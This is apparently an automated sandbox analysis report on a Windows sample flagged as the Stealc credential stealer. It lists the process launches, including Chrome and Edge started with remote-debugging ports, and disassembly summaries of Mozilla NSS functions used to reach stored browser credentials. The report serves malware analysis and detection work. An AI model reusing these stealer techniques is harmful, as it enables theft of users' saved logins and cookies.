2024-10-28 01:07:40 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Target ID:	0
Start time:	21:07:06
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb20000
File size:	2'108'928 bytes
MD5 hash:	D001CDED98F2A0E02568A66035777E32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2155476235.0000000005560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2664752549.0000000000B21000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:07:16
Start date:	27/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:07:17
Start date:	27/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,10774180841234704449,9876674559022460149,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:07:28
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:07:28
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:07:29
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2720 --field-trial-handle=2660,i,2276085611420844755,11736436464237843795,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	21:07:29
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	21:07:32
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:07:32
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:07:33
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:07:33
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	21:08:29
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4188 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA235A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAF688,00001000), ref: 6CA235D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA235E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA235FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA2363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA2369F
__aulldiv.LIBCMT ref: 6CA236E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA23773
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA2377E
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA237BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA237C4
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA237CB
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA23801
__aulldiv.LIBCMT ref: 6CA23883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA23902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA23918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA2394C

Strings

GTC, xrefs: 6CA23912
AuthcAMDenti, xrefs: 6CA23946
GenuntelineI, xrefs: 6CA23639
MOZ_TIMESTAMP_MODE, xrefs: 6CA235DB
QPC, xrefs: 6CA238FC

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: ad81ef2b799e53f2b489d2d8a13d0a1820640b839674dd8244d713d810dc6130
Instruction ID: 6b7effd8cddb780c60dc04bce9645383d6a30accca6967e2c63d7102ca687b36
Opcode Fuzzy Hash: ad81ef2b799e53f2b489d2d8a13d0a1820640b839674dd8244d713d810dc6130
Instruction Fuzzy Hash: EAB1D471B053529FDB0CCF68E84465EB7F9BB8A704F08C92EE899D3760D73498468B81

Function 6CA3C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA3C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA3C969
GetSystemInfo.KERNEL32(?), ref: 6CA3C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA3C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA3C9E2

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: d397259f1f018d44d4574f90d973e2c594b0f91bb567239138ad31ce486afa10
Instruction ID: 4c70814394e8b2edadd75668344cf3a4b644652df80fba201a31ee90c683d099
Opcode Fuzzy Hash: d397259f1f018d44d4574f90d973e2c594b0f91bb567239138ad31ce486afa10
Instruction Fuzzy Hash: 41212F3174133A5BD7195AE4EC94BAE7379BB4A708F51421DF907E7A40D7305C448790

Function 6CA23060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA23095

Part of subcall function 6CA235A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAF688,00001000), ref: 6CA235D5
Part of subcall function 6CA235A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA235E0
Part of subcall function 6CA235A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA235FD
Part of subcall function 6CA235A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA2363F
Part of subcall function 6CA235A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA2369F
Part of subcall function 6CA235A0: __aulldiv.LIBCMT ref: 6CA236E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA2309F

Part of subcall function 6CA45B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA456EE,?,00000001), ref: 6CA45B85
Part of subcall function 6CA45B50: EnterCriticalSection.KERNEL32(6CAAF688,?,?,?,6CA456EE,?,00000001), ref: 6CA45B90
Part of subcall function 6CA45B50: LeaveCriticalSection.KERNEL32(6CAAF688,?,?,?,6CA456EE,?,00000001), ref: 6CA45BD8
Part of subcall function 6CA45B50: GetTickCount64.KERNEL32 ref: 6CA45BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA230BE

Part of subcall function 6CA230F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA23127
Part of subcall function 6CA230F0: __aulldiv.LIBCMT ref: 6CA23140

Part of subcall function 6CA5AB2A: __onexit.LIBCMT ref: 6CA5AB30

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ac195dbdc59137f4e4d9bc638640f0fe760694235baaef4a0cddaa6e06d3f766
Instruction ID: 9944f49f6a8da79c11c4e9adb0ab735cb80bd046d8c9b082ab4bcd052447bda0
Opcode Fuzzy Hash: ac195dbdc59137f4e4d9bc638640f0fe760694235baaef4a0cddaa6e06d3f766
Instruction Fuzzy Hash: D0F02622E2078B96CB18DFB4AD411EEB374AF6B114B54931DE89563521FB2061DD8391

Non-executed Functions

Function 6CB56E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCA2120,6CB57E60), ref: 6CB56EBC
TlsGetValue.KERNEL32 ref: 6CB56EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB56EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CB56F25

Part of subcall function 6CB2A900: TlsGetValue.KERNEL32(00000000,?,6CCA14E4,?,6CAC4DD9), ref: 6CB2A90F
Part of subcall function 6CB2A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB2A94F

PR_Unlock.NSS3 ref: 6CB56F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CB56FA9
TlsGetValue.KERNEL32 ref: 6CB570B4
EnterCriticalSection.KERNEL32(?), ref: 6CB570C8
PR_CallOnce.NSS3(6CCA24C0,6CB97590), ref: 6CB57104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB57117
SECOID_Init.NSS3 ref: 6CB57128
PORT_Alloc_Util.NSS3(00000057), ref: 6CB5714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB5717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB571A9
PR_NotifyAllCondVar.NSS3 ref: 6CB571CF
PR_Unlock.NSS3 ref: 6CB571DD
free.MOZGLUE(?), ref: 6CB571EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB57208
free.MOZGLUE(00000000), ref: 6CB57221
free.MOZGLUE(00000001), ref: 6CB57235
TlsGetValue.KERNEL32 ref: 6CB5724A
EnterCriticalSection.KERNEL32(?), ref: 6CB5725E
PR_NotifyCondVar.NSS3 ref: 6CB57273
PR_Unlock.NSS3 ref: 6CB57281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB57291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB572B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB572D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB572E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB57301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB57310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB57335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB57344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB57363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB57372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CC90148,,defaultModDB,internalKeySlot), ref: 6CB574CC
free.MOZGLUE(00000000), ref: 6CB57513
free.MOZGLUE(00000000), ref: 6CB5751B
free.MOZGLUE(00000000), ref: 6CB57528
free.MOZGLUE(00000000), ref: 6CB5753C
free.MOZGLUE(00000000), ref: 6CB57550
free.MOZGLUE(00000000), ref: 6CB57561
free.MOZGLUE(00000000), ref: 6CB57572
free.MOZGLUE(00000000), ref: 6CB57583
free.MOZGLUE(00000000), ref: 6CB57594
free.MOZGLUE(00000000), ref: 6CB575A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CB575BD
free.MOZGLUE(00000000), ref: 6CB575C8
free.MOZGLUE(00000000), ref: 6CB575F1
PR_NewLock.NSS3 ref: 6CB57636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB57686
PR_NewLock.NSS3 ref: 6CB576A2

Part of subcall function 6CC098D0: calloc.MOZGLUE(00000001,00000084,6CB30936,00000001,?,6CB3102C), ref: 6CC098E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CB576B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CB57707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CB5771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CB57731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CB5774A
DeleteCriticalSection.KERNEL32(?), ref: 6CB57770
free.MOZGLUE(?), ref: 6CB57779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB5779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB577AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CB577C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB577DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CB57821
PORT_Alloc_Util.NSS3(?), ref: 6CB57837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB5785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB5786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CB578AC
free.MOZGLUE(00000000), ref: 6CB578BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CB578F3
free.MOZGLUE(00000000), ref: 6CB578FC
free.MOZGLUE(00000000), ref: 6CB5791C

Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307AD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307CD
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAC204A), ref: 6CB307D6
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAC204A), ref: 6CB307E4
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,6CAC204A), ref: 6CB30864
Part of subcall function 6CB307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB30880
Part of subcall function 6CB307A0: TlsSetValue.KERNEL32(00000000,?,?,6CAC204A), ref: 6CB308CB
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308D7
Part of subcall function 6CB307A0: TlsGetValue.KERNEL32(?,?,6CAC204A), ref: 6CB308FB

Strings

dbm:, xrefs: 6CB57716
sql:, xrefs: 6CB576FE
extern:, xrefs: 6CB5772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CB574C7
Spac, xrefs: 6CB57389
kbi., xrefs: 6CB57886
NSS Internal Module, xrefs: 6CB574A2, 6CB574C6
dll, xrefs: 6CB5788E
,defaultModDB,internalKeySlot, xrefs: 6CB5748D, 6CB574AA
rdb:, xrefs: 6CB57744

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: ca3bd3a902637b3025fee4b41e915848e70f131ec11de43fcffc243961cabe97
Instruction ID: 1ee35024783d35b08323a8d3df1a5b669ef41a2e0a243d9f3983f9627dbeca56
Opcode Fuzzy Hash: ca3bd3a902637b3025fee4b41e915848e70f131ec11de43fcffc243961cabe97
Instruction Fuzzy Hash: C65215B1E112919BEF118FA5DC0979E7BB4EF05308F548028ED09B7B41EBB1D964CB92

Function 6CA35440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA35492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA354A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA354BE
__Init_thread_footer.LIBCMT ref: 6CA354DB

Part of subcall function 6CA5AB3F: EnterCriticalSection.KERNEL32(6CAAE370,?,?,6CA23527,6CAAF6CC,?,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB49
Part of subcall function 6CA5AB3F: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA23527,6CAAF6CC,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5AB7C

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA354F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA35516
GetCurrentThreadId.KERNEL32 ref: 6CA3556A
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA35577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA35585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA35590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA355E6
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA35606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA35616

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA3563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA35646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA3567C
free.MOZGLUE(?), ref: 6CA356AE

